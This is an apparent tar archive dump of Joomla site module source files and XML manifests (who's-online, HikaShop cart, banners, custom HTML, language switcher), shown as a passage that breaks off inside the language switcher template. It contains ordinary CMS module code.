					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_whosonline/mod_whosonline.php000064400000001412150746134710013333 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_whosonline
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the whosonline functions only once
JLoader::register('ModWhosonlineHelper', __DIR__ . '/helper.php');

$showmode = $params->get('showmode', 0);

if ($showmode == 0 || $showmode == 2)
{
	$count = ModWhosonlineHelper::getOnlineCount();
}

if ($showmode > 0)
{
	$names = ModWhosonlineHelper::getOnlineUserNames($params);
}

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_whosonline', $params->get('layout', 'default'));
mod_whosonline/src/Helper/WhosonlineHelper.php000060400000005503150746134710015603 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_whosonline
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Whosonline\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;

/**
 * Helper for mod_whosonline
 *
 * @since  1.5
 */
class WhosonlineHelper
{
	/**
	 * Show online count
	 *
	 * @return  array  The number of Users and Guests online.
	 *
	 * @since   1.5
	 **/
	public static function getOnlineCount()
	{
		$db = Factory::getDbo();

		// Calculate number of guests and users
		$result	     = [];
		$user_array  = 0;
		$guest_array = 0;

		$whereCondition = Factory::getApplication()->get('shared_session', '0') ? 'IS NULL' : '= 0';

		$query = $db->getQuery(true)
			->select('guest, client_id')
			->from('#__session')
			->where('client_id ' . $whereCondition);
		$db->setQuery($query);

		try
		{
			$sessions = (array) $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			$sessions = [];
		}

		if (\count($sessions))
		{
			foreach ($sessions as $session)
			{
				// If guest increase guest count by 1
				if ($session->guest == 1)
				{
					$guest_array ++;
				}

				// If member increase member count by 1
				if ($session->guest == 0)
				{
					$user_array ++;
				}
			}
		}

		$result['user']  = $user_array;
		$result['guest'] = $guest_array;

		return $result;
	}

	/**
	 * Show online member names
	 *
	 * @param   mixed  $params  The parameters
	 *
	 * @return  array   (array) $db->loadObjectList()  The names of the online users.
	 *
	 * @since   1.5
	 **/
	public static function getOnlineUserNames($params)
	{
		$whereCondition = Factory::getApplication()->get('shared_session', '0') ? 'IS NULL' : '= 0';

		$db    = Factory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName(['a.username', 'a.userid', 'a.client_id']))
			->from($db->quoteName('#__session', 'a'))
			->where($db->quoteName('a.userid') . ' != 0')
			->where($db->quoteName('a.client_id') . ' ' . $whereCondition)
			->group($db->quoteName(['a.username', 'a.userid', 'a.client_id']));

		$user = Factory::getUser();

		if (!$user->authorise('core.admin') && $params->get('filter_groups', 0) == 1)
		{
			$groups = $user->getAuthorisedGroups();

			if (empty($groups))
			{
				return array();
			}

			$query->leftJoin($db->quoteName('#__user_usergroup_map', 'm'), $db->quoteName('m.user_id') . ' = ' . $db->quoteName('a.userid'))
				->leftJoin($db->quoteName('#__usergroups', 'ug'), $db->quoteName('ug.id') . ' = ' . $db->quoteName('m.group_id'))
				->whereIn($db->quoteName('ug.id'), $groups)
				->where($db->quoteName('ug.id') . ' <> 1');
		}

		$db->setQuery($query);

		try
		{
			return (array) $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			return array();
		}
	}
}
mod_whosonline/tmpl/default.php000064400000001645150746134710012717 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_whosonline
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>

<?php if ($showmode == 0 || $showmode == 2) : ?>
	<?php $guest = JText::plural('MOD_WHOSONLINE_GUESTS', $count['guest']); ?>
	<?php $member = JText::plural('MOD_WHOSONLINE_MEMBERS', $count['user']); ?>
	<p><?php echo JText::sprintf('MOD_WHOSONLINE_WE_HAVE', $guest, $member); ?></p>
<?php endif; ?>

<?php if (($showmode > 0) && count($names)) : ?>
	<?php if ($params->get('filter_groups', 0)) : ?>
		<p><?php echo JText::_('MOD_WHOSONLINE_SAME_GROUP_MESSAGE'); ?></p>
	<?php endif; ?>
	<ul class="whosonline<?php echo $moduleclass_sfx; ?>">
	<?php foreach ($names as $name) : ?>
		<li>
			<?php echo $name->username; ?>
		</li>
	<?php endforeach; ?>
	</ul>
<?php endif;
mod_whosonline/tmpl/disabled.php000060400000000627150746134710013035 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_whosonline
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="mod-whosonline-disabled">
	<p><?php echo Text::_('MOD_WHOSONLINE_NO_SESSION_METADATA'); ?></p>
</div>
mod_hikashop_cart/index.html000064400000000054150746134710012226 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_hikashop_cart/mod_hikashop_cart.xml000064400000002772150746134710014442 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5" method="upgrade">
	<name>Hikashop Cart Module</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>Cart display for Hikashop</description>
	<files>
		<filename module="mod_hikashop_cart">mod_hikashop_cart.php</filename>
		<filename>index.html</filename>
		<folder>tmpl</folder>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="hikashopcartmodule" type="hikashopmodule" default="module" label="hikashop" description="HikaShop options" />
		<param name="moduleclass_sfx" type="text" default="" label="Module Class Suffix" description="PARAMMODULECLASSSUFFIX" />
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field name="moduleclass_sfx" type="text" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
			</fieldset>
			<fieldset name="hk_options" label="Hikashop Options">
				<field id="hikashopmodule" name="hikashopcartmodule" type="hikashopmodule" label="hikashop" description="HikaShop options" />
			</fieldset>
		</fields>
	</config>
</extension>
mod_hikashop_cart/mod_hikashop_cart.php000064400000004062150746134710014423 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!defined('DS'))
	define('DS', DIRECTORY_SEPARATOR);


if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')){
	echo 'This module can not work without the Hikashop Component';
	return;
};

$js ='';
$params->set('from_module',$module->id);
hikashop_initModule();
$config =& hikashop_config();
$module_options = $config->get('params_'.$module->id);

if(empty($module_options)){
	$module_options = $config->get('default_params');
}

$data = $params->get('hikashopcartmodule');
if(HIKASHOP_J30 && (empty($data) || !is_object($data))){
	$db = JFactory::getDBO();
	$query = 'SELECT params FROM '.hikashop_table('modules',false).' WHERE id = '.(int)$module->id;
	$db->setQuery($query);
	$itemData = json_decode($db->loadResult());
	if(!empty($itemData->hikashopcartmodule) && is_object($itemData->hikashopcartmodule)){
		$data = $itemData->hikashopcartmodule;
		$params->set('hikashopcartmodule',$data);
	}
}
if(!empty($data) && is_object($data)){
	foreach($data as $k => $v){
		$module_options[$k] = $v;
	}
}

if(is_array($module_options)){
	foreach($module_options as $key => $option){
		if($key !='moduleclass_sfx'){
			$params->set($key,$option);
		}
	}
}

foreach(get_object_vars($module) as $k => $v){
	if(!is_object($v) && $params->get($k,null)==null){
		$params->set($k,$v);
	}
}

$moduleClass = hikashop_get('class.modules');
if($moduleClass->restrictedModule($params) === false)
	return;

if(!empty($module->params) && is_string($module->params))
	$module->params = json_decode($module->params, true);

$params->set('cart_type','cart');
$params->set('from','module');
$html = trim(hikashop_getLayout('product','cart',$params,$js));
require(JModuleHelper::getLayoutPath('mod_hikashop_cart'));
mod_hikashop_cart/tmpl/index.html000064400000000054150746134710013202 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_hikashop_cart/tmpl/default.php000064400000001011150746134710013334 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!empty($html)){
?>
<div class="hikashop_cart_module <?php echo (!empty($module->params) && is_array($module->params) ? @$module->params['moduleclass_sfx'] : ''); ?>" id="hikashop_cart_module">
<?php echo $html; ?>
</div>
<?php }
mod_banners/tmpl/default.php000064400000010645150746134710012162 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_banners
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('BannerHelper', JPATH_ROOT . '/components/com_banners/helpers/banner.php');
?>
<div class="bannergroup<?php echo $moduleclass_sfx; ?>">
<?php if ($headerText) : ?>
	<div class="bannerheader">
		<?php echo $headerText; ?>
	</div>
<?php endif; ?>

<?php foreach ($list as $item) : ?>
	<div class="banneritem">
		<?php $link = JRoute::_('index.php?option=com_banners&task=click&id=' . $item->id); ?>
		<?php if ($item->type == 1) : ?>
			<?php // Text based banners ?>
			<?php echo str_replace(array('{CLICKURL}', '{NAME}'), array($link, $item->name), $item->custombannercode); ?>
		<?php else : ?>
			<?php $imageurl = $item->params->get('imageurl'); ?>
			<?php $width = $item->params->get('width'); ?>
			<?php $height = $item->params->get('height'); ?>
			<?php if (BannerHelper::isImage($imageurl)) : ?>
				<?php // Image based banner ?>
				<?php $baseurl = strpos($imageurl, 'http') === 0 ? '' : JUri::base(); ?>
				<?php $alt = $item->params->get('alt'); ?>
				<?php $alt = $alt ?: $item->name; ?>
				<?php $alt = $alt ?: JText::_('MOD_BANNERS_BANNER'); ?>
				<?php if ($item->clickurl) : ?>
					<?php // Wrap the banner in a link ?>
					<?php $target = $params->get('target', 1); ?>
					<?php if ($target == 1) : ?>
						<?php // Open in a new window ?>
						<a
							href="<?php echo $link; ?>" target="_blank" rel="noopener noreferrer"
							title="<?php echo htmlspecialchars($item->name, ENT_QUOTES, 'UTF-8'); ?>">
							<img
								src="<?php echo $baseurl . $imageurl; ?>"
								alt="<?php echo htmlspecialchars($alt, ENT_QUOTES, 'UTF-8'); ?>"
								<?php if (!empty($width)) echo ' width="' . $width . '"';?>
								<?php if (!empty($height)) echo ' height="' . $height . '"';?>
							/>
						</a>
					<?php elseif ($target == 2) : ?>
						<?php // Open in a popup window ?>
						<a
							href="<?php echo $link; ?>" onclick="window.open(this.href, '',
								'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=780,height=550');
								return false"
							title="<?php echo htmlspecialchars($item->name, ENT_QUOTES, 'UTF-8'); ?>">
							<img
								src="<?php echo $baseurl . $imageurl; ?>"
								alt="<?php echo htmlspecialchars($alt, ENT_QUOTES, 'UTF-8'); ?>"
								<?php if (!empty($width)) echo ' width="' . $width . '"';?>
								<?php if (!empty($height)) echo ' height="' . $height . '"';?>
							/>
						</a>
					<?php else : ?>
						<?php // Open in parent window ?>
						<a
							href="<?php echo $link; ?>"
							title="<?php echo htmlspecialchars($item->name, ENT_QUOTES, 'UTF-8'); ?>">
							<img
								src="<?php echo $baseurl . $imageurl; ?>"
								alt="<?php echo htmlspecialchars($alt, ENT_QUOTES, 'UTF-8'); ?>"
								<?php if (!empty($width)) echo ' width="' . $width . '"';?>
								<?php if (!empty($height)) echo ' height="' . $height . '"';?>
							/>
						</a>
					<?php endif; ?>
				<?php else : ?>
					<?php // Just display the image if no link specified ?>
					<img
						src="<?php echo $baseurl . $imageurl; ?>"
						alt="<?php echo htmlspecialchars($alt, ENT_QUOTES, 'UTF-8'); ?>"
						<?php if (!empty($width)) echo ' width="' . $width . '"';?>
						<?php if (!empty($height)) echo ' height="' . $height . '"';?>
					/>
				<?php endif; ?>
			<?php elseif (BannerHelper::isFlash($imageurl)) : ?>
				<object
					classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
					codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
					<?php if (!empty($width)) echo ' width="' . $width . '"';?>
					<?php if (!empty($height)) echo ' height="' . $height . '"';?>
				>
					<param name="movie" value="<?php echo $imageurl; ?>" />
					<embed
						src="<?php echo $imageurl; ?>"
						loop="false"
						pluginspage="http://www.macromedia.com/go/get/flashplayer"
						type="application/x-shockwave-flash"
						<?php if (!empty($width)) echo ' width="' . $width . '"';?>
						<?php if (!empty($height)) echo ' height="' . $height . '"';?>
					/>
				</object>
			<?php endif; ?>
		<?php endif; ?>
		<div class="clr"></div>
	</div>
<?php endforeach; ?>

<?php if ($footerText) : ?>
	<div class="bannerfooter">
		<?php echo $footerText; ?>
	</div>
<?php endif; ?>
</div>
mod_banners/mod_banners.xml000064400000007703150746134710012063 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_banners</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_BANNERS_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_banners">mod_banners.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_banners.ini</language>
		<language tag="en-GB">en-GB.mod_banners.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_BANNERS" />
	<config>
		<fields name="params">
			<fieldset
				name="basic"
				addfieldpath="/administrator/components/com_banners/models/fields"
				>

				<field
					name="target"
					type="list"
					label="MOD_BANNERS_FIELD_TARGET_LABEL"
					description="MOD_BANNERS_FIELD_TARGET_DESC"
					default="1"
					filter="integer"
					>
					<option value="0">JBROWSERTARGET_PARENT</option>
					<option value="1">JBROWSERTARGET_NEW</option>
					<option value="2">JBROWSERTARGET_POPUP</option>
				</field>

				<field
					name="count"
					type="number"
					label="MOD_BANNERS_FIELD_COUNT_LABEL"
					description="MOD_BANNERS_FIELD_COUNT_DESC"
					default="5"
					filter="integer"
					class="validate-numeric"
				/>

				<field
					name="cid"
					type="bannerclient"
					label="MOD_BANNERS_FIELD_BANNERCLIENT_LABEL"
					description="MOD_BANNERS_FIELD_BANNERCLIENT_DESC"
					filter="integer"
				/>

				<field
					name="catid"
					type="category"
					label="JCATEGORY"
					description="MOD_BANNERS_FIELD_CATEGORY_DESC"
					extension="com_banners"
					multiple="true"
					filter="int_array"
					class="multipleCategories"
				/>

				<field
					name="tag_search"
					type="radio"
					label="MOD_BANNERS_FIELD_TAG_LABEL"
					description="MOD_BANNERS_FIELD_TAG_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="ordering"
					type="list"
					label="MOD_BANNERS_FIELD_RANDOMISE_LABEL"
					description="MOD_BANNERS_FIELD_RANDOMISE_DESC"
					default="0"
					>
					<option value="0">MOD_BANNERS_VALUE_STICKYORDERING</option>
					<option value="random">MOD_BANNERS_VALUE_STICKYRANDOMISE</option>
				</field>

				<field
					name="header_text"
					type="textarea"
					label="MOD_BANNERS_FIELD_HEADER_LABEL"
					description="MOD_BANNERS_FIELD_HEADER_DESC"
					filter="safehtml"
					rows="3"
					cols="40"
				/>

				<field
					name="footer_text"
					type="textarea"
					label="MOD_BANNERS_FIELD_FOOTER_LABEL"
					description="MOD_BANNERS_FIELD_FOOTER_DESC"
					filter="safehtml"
					rows="3"
					cols="40"
				/>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_banners/mod_banners.php000064400000001503150746134710012042 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_banners
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the banners functions only once
JLoader::register('ModBannersHelper', __DIR__ . '/helper.php');

$headerText = trim($params->get('header_text', ''));
$footerText = trim($params->get('footer_text', ''));

JLoader::register('BannersHelper', JPATH_ADMINISTRATOR . '/components/com_banners/helpers/banners.php');
BannersHelper::updateReset();
$list = &ModBannersHelper::getList($params);
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_banners', $params->get('layout', 'default'));
mod_banners/src/Helper/BannersHelper.php000060400000003320150746134710014304 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_banners
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Banners\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Environment\Browser;
use Joomla\Component\Banners\Site\Model\BannersModel;
use Joomla\Registry\Registry;

/**
 * Helper for mod_banners
 *
 * @since  1.5
 */
class BannersHelper
{
	/**
	 * Retrieve list of banners
	 *
	 * @param   Registry        $params  The module parameters
	 * @param   BannersModel    $model   The model
	 * @param   CMSApplication  $app     The application
	 *
	 * @return  mixed
	 */
	public static function getList(Registry $params, BannersModel $model, CMSApplication $app)
	{
		$keywords = explode(',', $app->getDocument()->getMetaData('keywords'));
		$config   = ComponentHelper::getParams('com_banners');

		$model->setState('filter.client_id', (int) $params->get('cid'));
		$model->setState('filter.category_id', $params->get('catid', array()));
		$model->setState('list.limit', (int) $params->get('count', 1));
		$model->setState('list.start', 0);
		$model->setState('filter.ordering', $params->get('ordering'));
		$model->setState('filter.tag_search', $params->get('tag_search'));
		$model->setState('filter.keywords', $keywords);
		$model->setState('filter.language', $app->getLanguageFilter());

		$banners = $model->getItems();

		if ($banners)
		{
			if ($config->get('track_robots_impressions', 1) == 1 || !Browser::getInstance()->isRobot())
			{
				$model->impress();
			}
		}

		return $banners;
	}
}
mod_custom/tmpl/default.php000064400000000754150746134710012044 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_custom
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>


<div class="custom<?php echo $moduleclass_sfx; ?>" <?php if ($params->get('backgroundimage')) : ?> style="background-image:url(<?php echo $params->get('backgroundimage'); ?>)"<?php endif; ?> >
	<?php echo $module->content; ?>
</div>
mod_custom/mod_custom.xml000064400000005020150746134710011615 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_custom</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_CUSTOM_XML_DESCRIPTION</description>

	<customContent />

	<files>
		<filename module="mod_custom">mod_custom.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_custom.ini</language>
		<language tag="en-GB">en-GB.mod_custom.sys.ini</language>
	</languages>

	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_CUSTOM_HTML" />
	<config>
		<fields name="params">
			<fieldset name="options" label="COM_MODULES_BASIC_FIELDSET_LABEL">
				<field
					name="prepare_content"
					type="radio"
					label="MOD_CUSTOM_FIELD_PREPARE_CONTENT_LABEL"
					description="MOD_CUSTOM_FIELD_PREPARE_CONTENT_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="backgroundimage"
					type="media"
					label="MOD_CUSTOM_FIELD_BACKGROUNDIMAGE_LABEL"
					description="MOD_BACKGROUNDIMAGE_FIELD_LOGO_DESC"
				/>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_custom/mod_custom.php000064400000001151150746134710011605 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_custom
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if ($params->def('prepare_content', 1))
{
	JPluginHelper::importPlugin('content');
	$module->content = JHtml::_('content.prepare', $module->content, '', 'mod_custom.content');
}

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_custom', $params->get('layout', 'default'));
mod_languages/src/Helper/LanguagesHelper.php000060400000010604150746134710015143 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_languages
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Languages\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Association\AssociationServiceInterface;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\LanguageHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Menus\Administrator\Helper\MenusHelper;

/**
 * Helper for mod_languages
 *
 * @since  1.6
 */
abstract class LanguagesHelper
{
	/**
	 * Gets a list of available languages
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module params
	 *
	 * @return  array
	 */
	public static function getList(&$params)
	{
		$user		= Factory::getUser();
		$lang		= Factory::getLanguage();
		$languages	= LanguageHelper::getLanguages();
		$app		= Factory::getApplication();
		$menu		= $app->getMenu();
		$active		= $menu->getActive();

		// Get menu home items
		$homes      = [];
		$homes['*'] = $menu->getDefault('*');

		foreach ($languages as $item)
		{
			$default = $menu->getDefault($item->lang_code);

			if ($default && $default->language === $item->lang_code)
			{
				$homes[$item->lang_code] = $default;
			}
		}

		// Load associations
		$assoc = Associations::isEnabled();

		if ($assoc)
		{
			if ($active)
			{
				$associations = MenusHelper::getAssociations($active->id);
			}

			$option = $app->input->get('option');
			$component = $app->bootComponent($option);

			if ($component instanceof AssociationServiceInterface)
			{
				$cassociations = $component->getAssociationsExtension()->getAssociationsForItem();
			}
			else
			{
				// Load component associations
				$class = str_replace('com_', '', $option) . 'HelperAssociation';
				\JLoader::register($class, JPATH_SITE . '/components/' . $option . '/helpers/association.php');

				if (class_exists($class) && \is_callable(array($class, 'getAssociations')))
				{
					$cassociations = \call_user_func(array($class, 'getAssociations'));
				}
			}
		}

		$levels    = $user->getAuthorisedViewLevels();
		$sitelangs = LanguageHelper::getInstalledLanguages(0);
		$multilang = Multilanguage::isEnabled();

		// Filter allowed languages
		foreach ($languages as $i => &$language)
		{
			// Do not display language without frontend UI
			if (!\array_key_exists($language->lang_code, $sitelangs))
			{
				unset($languages[$i]);
			}
			// Do not display language without specific home menu
			elseif (!isset($homes[$language->lang_code]))
			{
				unset($languages[$i]);
			}
			// Do not display language without authorized access level
			elseif (isset($language->access) && $language->access && !\in_array($language->access, $levels))
			{
				unset($languages[$i]);
			}
			else
			{
				$language->active = ($language->lang_code === $lang->getTag());

				// Fetch language rtl
				// If loaded language get from current JLanguage metadata
				if ($language->active)
				{
					$language->rtl = $lang->isRtl();
				}
				// If not loaded language fetch metadata directly for performance
				else
				{
					$languageMetadata = LanguageHelper::getMetadata($language->lang_code);
					$language->rtl    = $languageMetadata['rtl'];
				}

				if ($multilang)
				{
					if (isset($cassociations[$language->lang_code]))
					{
						$language->link = Route::_($cassociations[$language->lang_code]);
					}
					elseif (isset($associations[$language->lang_code]) && $menu->getItem($associations[$language->lang_code]))
					{
						$itemid = $associations[$language->lang_code];
						$language->link = Route::_('index.php?lang=' . $language->sef . '&Itemid=' . $itemid);
					}
					elseif ($active && $active->language === '*')
					{
						$language->link = Route::_('index.php?lang=' . $language->sef . '&Itemid=' . $active->id);
					}
					else
					{
						if ($language->active)
						{
							$language->link = Uri::getInstance()->toString(array('path', 'query'));
						}
						else
						{
							$itemid = isset($homes[$language->lang_code]) ? $homes[$language->lang_code]->id : $homes['*']->id;
							$language->link = Route::_('index.php?lang=' . $language->sef . '&Itemid=' . $itemid);
						}
					}
				}
				else
				{
					$language->link = Route::_('&Itemid=' . $homes['*']->id);
				}
			}
		}

		return $languages;
	}
}
mod_languages/tmpl/default.php000064400000011345150746134710012476 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_languages
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('stylesheet', 'mod_languages/template.css', array('version' => 'auto', 'relative' => true));

if ($params->get('dropdown', 0) && !$params->get('dropdownimage', 1))
{
	JHtml::_('formbehavior.chosen');
}

?>
<div class="mod-languages<?php echo $moduleclass_sfx; ?>">
<?php if ($headerText) : ?>
	<div class="pretext"><p><?php echo $headerText; ?></p></div>
<?php endif; ?>

<?php if ($params->get('dropdown', 0) && !$params->get('dropdownimage', 1)) : ?>
	<form name="lang" method="post" action="<?php echo htmlspecialchars_decode(htmlspecialchars(JUri::current(), ENT_COMPAT, 'UTF-8'), ENT_NOQUOTES); ?>">
	<select class="inputbox advancedSelect" onchange="document.location.replace(this.value);" >
	<?php foreach ($list as $language) : ?>
